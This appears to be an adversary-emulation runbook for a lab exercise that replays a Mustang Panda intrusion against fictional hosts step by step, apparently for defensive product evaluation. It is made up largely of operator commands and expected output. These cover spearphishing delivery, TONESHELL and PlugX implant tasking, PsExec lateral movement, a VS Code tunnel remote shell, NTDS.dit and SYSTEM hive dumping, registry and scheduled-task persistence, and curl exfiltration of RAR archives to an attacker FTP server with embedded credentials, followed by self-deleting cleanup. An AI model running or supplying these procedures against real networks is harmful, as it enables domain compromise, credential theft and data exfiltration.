#
Mustang Panda Scenario
#
Step 0 - Setup
#
Procedures
☣️ From your localhost, initiate an RDP session to the Kali attack host
driftmark (174.3.0.70)if not already established☣️ In a new terminal window, start the simple file server, plugx, vscode_tunnel, and toneshell handlers:
cd /opt/kalidev/mustang_panda/Resources/controlServer sudo ./controlServer -c config/mustang_panda.ymlExpected Output
... [SUCCESS] 2024/04/01 10:10:11 Started handler simplefileserver [SUCCESS] 2024/04/01 10:10:11 Started handler vscode_tunnel [SUCCESS] 2024/04/01 10:10:11 Started handler toneshell [SUCCESS] 2024/04/01 10:10:11 Started handler plugx [INFO] 2024/04/01 10:10:11 Waiting for connections
☣️ In a new terminal window, activate the Python virtual environment. This should prepend your terminal prompt with
(venv). Use this terminal for any Python commands run on Kalicd /opt/kalidev source venv/bin/activate
#
Step 1 - Initial Access
#
Voice Track
Mustang Panda sends an email from fantaryon@lorath.com to
htargaryen@kingslanding.net containing a .docx file attachment. htargaryen
opens the .docx file and clicks the link embedded in the document. htargaryen
downloads the password-protected RAR file hosted on the adversary server.
htargaryen extracts the contents of the RAR file and executes the LNK file.
The LNK file executes EssosUpdate.exe (renamed legitimate binary
wsddebug_host.exe) which side-loads wsdapi.dll, TONESHELL.
wsdapi.dll is
the TONESHELL loader and is signed by a self-signed certificate. The loader
performs several anti-analysis techniques before registering and re-executing
itself a second time via regsvr32.exe. After spawning a child waitfor.exe
process, the loader executes itself a third time by using mavinject to inject
itself into the spawned waitfor.exe process.
Once executed in the intended
waitfor.exe child process, TONESHELL XOR decrypts and loads the embedded
shellcode payload into memory. The shellcode discovers the computer name and
generates a GUID for the victim then connects to attacker C2 191.44.44.199 over
port 443.
#
Procedures
From the jumpbox, initiate an RDP session to the workstation
harrenhal (10.55.4.103)(if not already connected)On the workstation
harrenhal (10.55.4.103), open Command Prompt and mount the E: drive ofconclave (10.55.3.105)net use \\10.55.3.105\E$On the workstation
harrenhal (10.55.4.103), open FireFox and browse to the Outlook Web Access portal, logging in with htargaryen's credentials☣️ Switch to the Kali machine, open up a shell prompt, and send the spearphishing email
python3 /opt/kalidev/mustang_panda/Resources/email_generation/send_email.py mail.lorath.com /opt/kalidev/mustang_panda/Resources/payloads/toneshell_spearphishing.html -t 'cstark@tully.org,nstark@winterfell.net,jsnow@wall.net,dtargaryen@dragonstone.com,cvelaryon@driftmark.net,lvelaryon@driftmark.net' -cc 'htargaryen@kingslanding.net,missandei@mereen.com,xdaxos@quarth.net,imopatis@pentos.net' -f fantaryon@lorath.com -fn 'Ferrego Antaryon' -s 'Westeros & Essos Cyber Summit 2025 Attendance Confirmed' -a /opt/kalidev/mustang_panda/Resources/payloads/toneshell_spearphishing.docx -an 'Strategic Competition with Pentos - Assessing Braavos Competitiveness Beyond Essos.docx'Expected Output
Successfully sent email
Switch to the RDP to the workstation
harrenhal (10.55.4.103)and confirm receipt of the spearphishing emailOpen the email and download the attachment. Open the Downloads folder then double-click to open the attachment. Then, CTRL+click on the embedded link inside the document to initiate the download of the password-protected RAR file
250325_Pentos_Board_Minutes.rarOpen the Downloads folder, right-click the RAR file then click "Show More Options" > "WinRAR" > "Extract Here", entering the RAR password when prompted:
Double click to execute the .LNK file then switch windows several times to bypass the sandbox check
☣️ Switch to Kali and confirm C2 registration
#
Reference Tables
#
Step 2 - Discovery
#
Voice Track
Mustang Panda then uses TONESHELL to perform network discovery on the workstation
harrenhal (10.55.4.103). Mustang Panda uses netstat and SharpNBTScan to discover
the file server conclave (10.55.3.105) and domain controller redkeep (10.55.3.100).
#
Procedures
☣️ Task TONESHELL to execute
netstatto discover a network connection toconclave (10.55.3.105)python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 5, "taskNum": 1, "args": "netstat -anop tcp"}'Expected Output
Active Connections Proto Local Address Foreign Address State...
☣️ Task TONESHELL to execute
ipconfigto discover the subnet mask of the networkpython3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 5, "taskNum": 2, "args": "ipconfig /all"}'Expected Output
Windows IP Configuration Host Name . . . . . . . . . . . . : harrenhal Primary Dns Suffix . . . . . . . : kingslanding.net Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : us-east-1.ec2-utilities.amazonaws.com kingslanding.net Ethernet adapter Ethernet 2: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Amazon Elastic Network Adapter Physical Address. . . . . . . . . : 0A-FF-E3-74-79-9D DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::2cad:8638:2bd1:fe7b%5(Preferred) IPv4 Address. . . . . . . . . . . : 10.55.4.103(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.128 Lease Obtained. . . . . . . . . . : Friday, June 6, 2025 11:01:08 AM Lease Expires . . . . . . . . . . : Friday, June 6, 2025 8:01:09 PM Default Gateway . . . . . . . . . : 10.55.4.1 DHCP Server . . . . . . . . . . . : 10.55.4.1 DHCPv6 IAID . . . . . . . . . . . : 118924644 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2C-ED-A4-EE-08-00-27-A3-42-54 DNS Servers . . . . . . . . . . . : 10.55.3.100 NetBIOS over Tcpip. . . . . . . . : Enabled
☣️ Task TONESHELL to download SharpNBTScan
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 3, "taskNum": 3, "payload": "SharpNBTScan.exe", "args": "mswin1.exe"}'Expected Output
[DEBUG] 2025/07/29 13:17:08 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [INFO] 2025/07/29 13:17:17 Received SetTaskBySessionId request [SUCCESS] 2025/07/29 13:17:17 Successfully set task for session: b7107b26bdc8e2eea0dc91c8e603370f [DEBUG] 2025/07/29 13:17:18 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [DEBUG] 2025/07/29 13:17:18 [TONESHELL] Received file chunk request from session ID b7107b26bdc8e2eea0dc91c8e603370f [INFO] 2025/07/29 13:17:18 [TONESHELL] Sent file chunk to session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 3: 13824 bytes [DEBUG] 2025/07/29 13:17:18 [TONESHELL] Closed handle for file /opt/kalidev/mustang_panda/Resources/payloads/SharpNBTScan.exe [INFO] 2025/07/29 13:17:18 [TONESHELL] Received task complete response from session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 3; task type: 3, exit code: 0. Registering task output. [SUCCESS] 2025/07/29 13:17:18 [TONESHELL] Successfully downloaded file /opt/kalidev/mustang_panda/Resources/payloads/SharpNBTScan.exe [DEBUG] 2025/07/29 13:17:28 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [DEBUG] 2025/07/29 13:17:38 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f)
☣️ Task TONESHELL to execute SharpNBTScan to discover other workstations in the domain
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 5, "taskNum": 4, "args": "mswin1.exe 10.55.4.0/24"}'Expected Output
[*]Start udp client... [+] ip range 10.55.4.1 - 10.55.4.254 [*]Udp client will stop in 10s ... 10.55.4.104 KINGSLANDING\STEPSTONES 10.55.4.101 KINGSLANDING\FLEABOTTOM 10.55.4.102 KINGSLANDING\FISHMONGER [*]Stop udp client ...
#
Reference Tables
#
Step 3 - Lateral Movement
#
Voice Track
After discovering the domain controller redkeep (10.55.3.100), Mustang Panda uses
TONESHELL to perform lateral movement via PsExec to pivot to the domain controller
in preparation for credential dumping. TONESHELL uses PsExec to execute the VS
Code tunnel batch script on the domain controller to establish a remote shell.
#
Procedures
☣️ Task TONESHELL to download the VS Code tunnel batch script to
C:\\users\\htargaryen\\AppData\\Local\\CodeHelper.batpython3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 3, "taskNum": 5, "payload": "startcode.bat", "args": "C:\\users\\htargaryen\\AppData\\Local\\CodeHelper.bat"}'Expected Output
[DEBUG] 2025/07/29 13:24:39 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [DEBUG] 2025/07/29 13:24:49 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [INFO] 2025/07/29 13:24:54 Received SetTaskBySessionId request [SUCCESS] 2025/07/29 13:24:54 Successfully set task for session: b7107b26bdc8e2eea0dc91c8e603370f [DEBUG] 2025/07/29 13:24:59 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [DEBUG] 2025/07/29 13:24:59 [TONESHELL] Received file chunk request from session ID b7107b26bdc8e2eea0dc91c8e603370f [INFO] 2025/07/29 13:24:59 [TONESHELL] Sent file chunk to session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 5: 797 bytes [DEBUG] 2025/07/29 13:24:59 [TONESHELL] Closed handle for file /opt/kalidev/mustang_panda/Resources/payloads/startcode.bat [INFO] 2025/07/29 13:24:59 [TONESHELL] Received task complete response from session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 5; task type: 3, exit code: 0. Registering task output. [SUCCESS] 2025/07/29 13:24:59 [TONESHELL] Successfully downloaded file /opt/kalidev/mustang_panda/Resources/payloads/startcode.bat [DEBUG] 2025/07/29 13:25:09 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [DEBUG] 2025/07/29 13:25:19 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f)
☣️ Task TONESHELL with executing the VS Code tunnel batch script via PsExec on the domain controller
redkeep (10.55.3.100). Switch to the control server output and confirm receipt of an authentication code from the VSCODE_TUNNEL handlerpython3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 5, "taskNum": 6, "args": "psexec \\\\10.55.3.100 -accepteula -d -c C:\\users\\htargaryen\\AppData\\Local\\CodeHelper.bat"}'Expected Output
[SUCCESS] 2025/04/15 15:28:42 [VSCODE_TUNNEL] USE AUTHENTICATION CODE: XXXX-XXXX
☣️ Open a new tab in Chrome on Kali and browse to the GitHub authentication portal and sign into the adversary GitHub account.
☣️ Enter the retrieved GitHub login device code then "Authorize Visual-Studio-Code" if prompted.
☣️ In a new browser tab, browse to access the VS Code tunnel. When prompted with "What type of account did you use to start this tunnel?" select GitHub > Allow > Continue > Authorize Visual-Studio-Code if prompted. Wait until the VS Code tunnel as connected successfully and the tunnel in the bottom left reads
redkeep
#
Reference Tables
#
Step 4 - Credential Access
#
Voice Track
Using the VS Code tunnel on the domain controller redkeep (10.55.3.100),
Mustang Panda uses vssadmin and reg save to perform credential dumping via NTDS.
Mustang Panda uses the VS Code tunnel on the domain controller to stage the necessary
NTDS.dit and SYSTEM hive files back on the initially compromised workstation
harrenhal (10.55.4.103). Then, Mustang Panda uses OPRHEUS to exfiltrate the NTDS
files over its existing C2 for offline cracking.
#
Procedures
☣️ Using the VS Code tunnel on the domain controller
redkeep (10.55.3.100), click the Search bar > Show and Run Commands > type and select "Create New Terminal (With Profile)" > select "PowerShell" to open a PowerShell terminal.Then execute the following command to create a volume shadow copy of the domain controller's C:\ drive. If vscode.dev asks for clipboard permissions, click Allow. Take note of the number followingHarddiskVolumeShadowCopyfor use in a future commandvssadmin create shadow /for=c: /autoretry=10Expected Output
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2013 Microsoft Corp. Successfully created shadow copy for 'c:\' Shadow Copy ID: {b4d78609-974e-4f64-a39c-d9d8c2196b47} Shadow Copy Volume Name: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5
☣️ Using the VS Code tunnel on the domain controller
redkeep (10.55.3.100), executenet useto mount the C: drive of the initial workstationharrenhal (10.55.4.103). When prompted for a username and password use the credentials below. NOTE: password has been whitecarded for this scenarionet use \\10.55.4.103\C$Expected Output
The command completed successfully
☣️ Using the VS Code tunnel on the domain controller
redkeep (10.55.3.100), copy the NTDS.dit file from the shadow copy back to the initial workstationharrenhal (10.55.4.103). Update the command below to copy the ID of the volume shadow copy created in the earlier stepcmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<REPLACE_ID>\Windows\NTDS\NTDS.dit \\10.55.4.103\C$\windows\temp\ntds.dit"Expected Output
1 file(s) copied
☣️ Using the VS Code tunnel on the domain controller
redkeep (10.55.3.100), save the System hive to the workstationharrenhal (10.55.4.103)reg save hklm\system \\10.55.4.103\C$\windows\temp\system.hiveExpected Output
The operation completed successfully.
☣️ Using the VS Code tunnel on the domain controller
redkeep (10.55.3.100), delete the mounted C: drivenet use /delete \\10.55.4.103\C$Expected Output
\\10.55.4.103\C$ was deleted successfully.
☣️ Return to the Kali terminal and task TONESHELL with exfiltrating the SYSTEM hive
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 7, "taskNum": 7, "args": "C:\\windows\\temp\\system.hive"}'Expected Output
Successfully saved uploaded file as system.hive
☣️ From the Kali terminal, task TONESHELL with exfiltrating the NTDS.dit file
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 7, "taskNum": 8, "args": "C:\\windows\\temp\\ntds.dit"}'Expected Output
Successfully saved uploaded file as ntds.dit
#
Reference Tables
#
Step 5 - Persistence
#
Voice Track
Mustang Panda then disconnects from the domain controller and installs persistence on
harrenhal (10.55.4.103) via registry run key AccessoryInputServices to
re-execute TONESHELL on user login. Mustang Panda then installs additional persistence by
creating a scheduled task to execute the VS Code tunnel batch script. Mustang Panda
then executes the persistence mechanism to establish the VS Code tunnel.
#
Procedures
☣️ Return to the browser tab with the VS Code tunnel to the domain controller
redkeep (10.55.3.100). Click the tunnel name (redkeep) in the bottom left and select "close remote workspace"☣️ Task TONESHELL to create the registry run key
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 5, "taskNum": 9, "args": "reg.exe add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v AccessoryInputServices /t REG_SZ /d \"C:\\Users\\htargaryen\\Downloads\\250325_Pentos_Board_Minutes\\EssosUpdate.exe\" /f"}'Expected Output
The operation completed successfully.
☣️ Task TONESHELL to create a scheduled task to execute the VS Code tunnel batch script every minute
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 5, "taskNum": 10, "args": "schtasks.exe /F /Create /TN AccessoryInputServices /sc minute /MO 1 /TR C:\\Users\\htargaryen\\AppData\\Local\\CodeHelper.bat"}'Expected Output
SUCCESS: The scheduled task "AccessoryInputServices" has successfully been created.
☣️ Once the scheduled task has executed, check the control server terminal and confirm receipt of the authentication code from the VSCODE_TUNNEL handler
Expected Output
[SUCCESS] 2025/04/15 15:28:42 [VSCODE_TUNNEL] USE AUTHENTICATION CODE: XXXX-XXXX
☣️ In a new browser tab on Kali, browse to the GitHub authentication portal and Continue as the signed in adversary GitHub account
☣️ Enter the retrieved GitHub login device code and continue. Click "Authorize Visual-Studio-Code" if prompted.
☣️ In a new browser tab, browse to access the VS Code tunnel then select GitHub
Allow > Continue > Authorize Visual-Studio-Code if prompted. Wait until the VS Code tunnel as connected successfully and the tunnel in the bottom left reads
harrenhal
#
Reference Tables
#
Step 6 - Collection and Exfiltration
#
Voice Track
Mustang Panda then begins collecting and exfiltrating files of interest.
By using a
file list with file extensions and folders of interest, Mustang Panda uses the VS Code
tunnel to execute WinRAR against several drives of the previously discovered
file server conclave (10.55.3.105) to remotely compress files into 250 MB
volumes. Then, Mustang Panda uses OPRHEUS to download and execute a renamed curl.exe
and exfiltrate the created RAR archives to an adversary controlled FTP server
hosted at 49.67.12.21
#
Procedures
☣️ Task TONESHELL to download
files.txttoharrenhal (10.55.4.103)python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 3, "taskNum": 11, "payload": "files.txt", "args": "C:\\Users\\htargaryen\\Downloads\\files.txt"}'Expected Output
[DEBUG] 2025/07/29 14:34:12 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [DEBUG] 2025/07/29 14:34:22 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [INFO] 2025/07/29 14:34:23 Received SetTaskBySessionId request [SUCCESS] 2025/07/29 14:34:23 Successfully set task for session: b7107b26bdc8e2eea0dc91c8e603370f [DEBUG] 2025/07/29 14:34:32 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [DEBUG] 2025/07/29 14:34:32 [TONESHELL] Received file chunk request from session ID b7107b26bdc8e2eea0dc91c8e603370f [INFO] 2025/07/29 14:34:32 [TONESHELL] Sent file chunk to session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 11: 82 bytes [DEBUG] 2025/07/29 14:34:32 [TONESHELL] Closed handle for file /opt/kalidev/mustang_panda/Resources/payloads/files.txt [INFO] 2025/07/29 14:34:32 [TONESHELL] Received task complete response from session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 11; task type: 3, exit code: 0. Registering task output. [SUCCESS] 2025/07/29 14:34:32 [TONESHELL] Successfully downloaded file /opt/kalidev/mustang_panda/Resources/payloads/files.txt [DEBUG] 2025/07/29 14:34:42 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f) [DEBUG] 2025/07/29 14:34:52 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f)
☣️ Switch to the VS Code tunnel tab to the workstation
harrenhal (10.55.4.103), open a PowerShell terminal if one is not already open, and executerar.exeremotely against drives A-Z of the file serverconclave (10.55.3.105)psh65..90 | %{ $drive = [char]$_; & "C:\Program Files\WinRAR\rar.exe" a -r -v250m -hpj5Tft5lLFFcQK -x*\appdata\ -x*\ProgramData\* -x*\Recovery\* -x'*\System Volume Information\*' -x'*\$RECYCLE.BIN\*' -x'*\Program Files\*' -x'*\Program Files (x86)\*' -x*\Windows\* -x*\Python312\* -x*\crash_dumps\* -x*\PerfLogs\* -n@"C:\Users\htargaryen\Downloads\files.txt" "C:\Windows\Temp\${drive}.rar" "\\10.55.3.105\${drive}`$\*"}Expected Output
RAR 7.11 x64 Copyright (c) 1993-2025 Alexander Roshal 20 Mar 2025 Trial version Type 'rar -?' for help Evaluation copy. Please register. Creating archive A.rar WARNING: No files ... Creating archive C.rar Adding C:\... OK Adding C:\... OK ...
☣️ Switch back to the terminal and task TONESHELL to download
curl.exetoharrenhal (10.55.4.103)asprpbg.dat.bak.1python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 3, "taskNum": 12, "payload": "curl.exe", "args": "C:\\Program Files\\Microsoft VS Code\\prpbg.dat.bak.1"}'Expected Output
[INFO] 2025/07/29 14:58:44 [TONESHELL] Sent file chunk to session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 12: 32768 bytes [DEBUG] 2025/07/29 14:58:44 [TONESHELL] Received file chunk request from session ID b7107b26bdc8e2eea0dc91c8e603370f [INFO] 2025/07/29 14:58:44 [TONESHELL] Sent file chunk to session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 12: 32768 bytes [DEBUG] 2025/07/29 14:58:44 [TONESHELL] Received file chunk request from session ID b7107b26bdc8e2eea0dc91c8e603370f [INFO] 2025/07/29 14:58:44 [TONESHELL] Sent file chunk to session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 12: 32768 bytes [DEBUG] 2025/07/29 14:58:44 [TONESHELL] Received file chunk request from session ID b7107b26bdc8e2eea0dc91c8e603370f [INFO] 2025/07/29 14:58:44 [TONESHELL] Sent file chunk to session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 12: 11720 bytes [DEBUG] 2025/07/29 14:58:44 [TONESHELL] Closed handle for file /opt/kalidev/mustang_panda/Resources/payloads/curl.exe [INFO] 2025/07/29 14:58:44 [TONESHELL] Received task complete response from session ID b7107b26bdc8e2eea0dc91c8e603370f, task number 12; task type: 3, exit code: 0. Registering task output. [SUCCESS] 2025/07/29 14:58:44 [TONESHELL] Successfully downloaded file /opt/kalidev/mustang_panda/Resources/payloads/curl.exe [DEBUG] 2025/07/29 14:58:54 [TONESHELL] Received task request from implant UUID 3718210df587044d8e052c2ba9d053fd (session ID b7107b26bdc8e2eea0dc91c8e603370f)
☣️ Task TONESHELL to use
curl.exeand exfiltrate the RAR filespython3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task b7107b26bdc8e2eea0dc91c8e603370f '{"id": 5, "taskNum": 13, "args": "C:\\Program Files\\Microsoft VS Code\\prpbg.dat.bak.1 -T \"{C:\\\\windows\\\\temp\\\\C.rar,C:\\\\windows\\\\temp\\\\E.rar,C:\\\\windows\\\\temp\\\\F.rar,C:\\\\windows\\\\temp\\\\G.rar,C:\\\\windows\\\\temp\\\\H.rar,C:\\\\windows\\\\temp\\\\J.rar}\" ftp://ftp_user:Gracious-Coat@49.67.12.21/do/ --ftp-create-dirs"}'Expected Output
[TASK] 2025/07/29 15:03:58 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 10.0M 0 0 100 10.0M 0 13.1M --:--:-- --:--:-- --:--:-- 13.1M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 42.1M 0 0 100 42.1M 0 64.2M --:--:-- --:--:-- --:--:-- 64.2M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 42.1M 0 0 100 42.1M 0 76.1M --:--:-- --:--:-- --:--:-- 76.2M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 42.1M 0 0 100 42.1M 0 65.7M --:--:-- --:--:-- --:--:-- 65.6M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 42.1M 0 0 100 42.1M 0 75.2M --:--:-- --:--:-- --:--:-- 75.2M % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 42.1M 0 0 100 42.1M 0 71.8M --:--:-- --:--:-- --:--:-- 71.8M
☣️ In any terminal on Kali, confirm exfiltration of the rar files
sudo ls -la /srv/ftp/doExpected Output
total 186024 drwx------ 2 ftp_user ftp_user 4096 Jun 18 21:03 . drwxr-xr-x 5 ftp_user ftp_user 4096 Jun 18 21:03 .. -rw------- 1 ftp_user ftp_user 13599534 Jun 18 21:03 C.rar -rw------- 1 ftp_user ftp_user 88438606 Jun 18 21:03 E.rar -rw------- 1 ftp_user ftp_user 88438606 Jun 18 21:03 F.rar -rw------- 1 ftp_user ftp_user 88438606 Jun 18 21:03 G.rar -rw------- 1 ftp_user ftp_user 88436622 Jun 18 21:03 H.rar -rw------- 1 ftp_user ftp_user 88438606 Jun 18 21:03 J.rar
Return to the RDP to
harrenhal (10.55.4.103). Close all windows then sign out.
#
Reference Tables
#
Step 7 - Initial Access
#
Voice Track
Mustang Panda sends a spearphishing email containing a link to the user ccole. When
the user ccole clicks on the link to open in the browser, the browser will
load the webpage (invite_doc.html) containing JavaScript that will initiate a
download of the malicious MSI file 2025p2.msi to the user's workstation
stepstones (10.55.4.104).
When the user executes the MSI installer
2025p2.msi, the installer drops the legitimate executable gup.exe, an
auxiliary file gup.xml needed for proper execution of gup.exe, the Plug X
loader libcurl.dll, the Plug X shellcode WinGUpdate.dat, and a decoy PDF
Meeting Invitation.pdf. Then, the MSI installer 2025p2.msi executes the
legitimate executable gup.exe, which DLL sideloads the Plug X loader
libcurl.dll.
The Plug X loader displays the decoy PDF Meeting Invitation.pdf and decrypts and loads the Plug X shellcode WinGUpdate.dat
into memory for execution. On execution, Plug X will establish an HTTPS-based
C2 channel to ValarMorghulis.org:443
#
Procedures
From the jumpbox, initiate an RDP session to the workstation
stepstones (10.55.4.104)On the workstation
stepstones (10.55.4.104), open FireFox and browse to the Outlook Web Access portal, logging in with ccole's credentials☣️ Switch to the Kali machine and send the spearphishing email
python3 /opt/kalidev/mustang_panda/Resources/email_generation/send_email.py mail.lorath.com /opt/kalidev/mustang_panda/Resources/payloads/plugx_spearphishing.html -t ccole@kingslanding.net -f fantaryon@lorath.com -fn 'Ferrego Antaryon' -s 'Meeting Invitation'Expected Output
Successfully sent email
Switch to the RDP session to the workstation
stepstones (10.55.4.104)and confirm receipt of the spearphishing emailOpen the email and click the link inside the email. After the browser opens the webpage, if the browser has paused the download due to a "Potential Security Risk" click on the pop-up then "Allow" to proceed with the Download. Open the Downloads folder to confirm download of the MSI installer
2025p2.msiFrom the Downloads folder, double-click to open the MSI file
2025p2.msiand "Run". An MSI installer popup for "2025p2" should appear.Click "Next" in the 2025p2 installer wizard to reach the installations options page. Make sure the selected installation folder is
C:\Users\ccole\AppData\Local\EvRDRunMP\and that installation is limited to just the current user. Continue clicking "Next" until the installation successfully completes, then click "Close" to exit the wizard. Confirm execution of Plug X shellcode and a new implant session in the C2 handler on the Kali machine.☣️ Task Plug X to install persistence via registry key
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1002"}'Expected Output
Successfully set registry key and value.
#
Reference Tables
#
Step 8 - Collection and Exfiltration
#
Voice Track
After establishing C2 with Plug X, Mustang Panda uses the RAR utility to locate and
archive Microsoft Office, PDF, and text files. Mustang Panda then leverages curl to
exfiltrate the RAR archive file.
#
Procedures
☣️ Task Plug X to use WinRAR to archive specific file types. Plug X will hang until the command has been completed. You may proceed once Plug X begins checking in to the C2 server again.
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1000", "args":"cmd.exe /c \"\"C:\\Program Files\\WinRAR\\rar.exe\" a -r -m5 -ibck -ed -v325m -hpI1HcgjY7bWRA8 -inul -ta202504230000000 C:\\Users\\Public\\Documents\\b44d0xUT5BLOi.rar \"C:\\*.pdf\" \"C:\\*.doc*\" \"C:\\*.ppt*\" \"C:\\*.xls*\" \"C:\\users\\*.png\" \"C:\\users\\*.jpg\" \"C:\\users\\*.jpeg\"\""}'☣️ Task Plug X to exfiltrate the RAR file using curl to the attacker FTP server
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1000", "args": "cmd.exe /c \"curl.exe -T C:\\Users\\Public\\Documents\\b44d0xUT5BLOi.rar ftp://ftp_user:Gracious-Coat@49.67.12.21/dp/ --ftp-create-dirs\""}'Expected Output
[SUCCESS] 2025/07/29 16:34:14 [Plug X] Reply from implant: 123 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 10.3M 0 0 100 10.3M 0 13.0M --:--:-- --:--:-- --:--:-- 13.0M
☣️ In any terminal on Kali, confirm the size of the exfiltrated rar file is not 0 bytes
sudo ls -la /srv/ftp/dpExpected Output
total 9584 drwxr-xr-x 2 ftp_user ftp_user 4096 Jul 16 14:26 . drwxr-xr-x 4 ftp_user ftp 4096 Jul 16 14:26 .. -rw-r--r-- 1 ftp_user ftp_user 9804926 Jul 16 14:26 b44d0xUT5BLOi.rar
#
Reference Tables
#
Step 9 - Indicator Removal
#
Voice Track
After exfiltrating files, Mustang Panda downloads batch script del_WinGupSvc.bat from
the C2 server then executes it. On execution, the batch script
del_WinGupSvc.bat deletes the registry run key, downloaded files, then itself.
#
Procedures
☣️ Task Plug X to download the cleanup batch script
del_WinGupSvc.batpython3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1003", "args": "%TEMP%\\del_WinGupSvc.bat", "file": "del_WinGupSvc.bat"}'Expected Output
File saved successfully.
☣️ Task Plug X to execute the cleanup batch script
del_WinGupSvc.bat. Plug X should stop checking in after the cleanup script is run. Wait at least 1 full minute to ensure Plug X does not continue to check in.python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1000", "args": "cmd.exe /c %TEMP%\\del_WinGupSvc.bat"}'
#
Reference Tables
#
End of Scenario
#
Voice Track
The following procedures will terminate the C2 server and sign out of any remaining RDP sessions.
#
Procedures
From Kali, navigate to the terminal running the C2 server and terminate it via 'ctrl+c'.
Close all remaining terminal tabs via the 'exit' command.
On Kali, if Firefox is open, close any open tabs including tabs for https://vscode.dev/tunnel/redkeep and https://vscode.dev/tunnel/harrenhal.
Switch back to the RDP session to
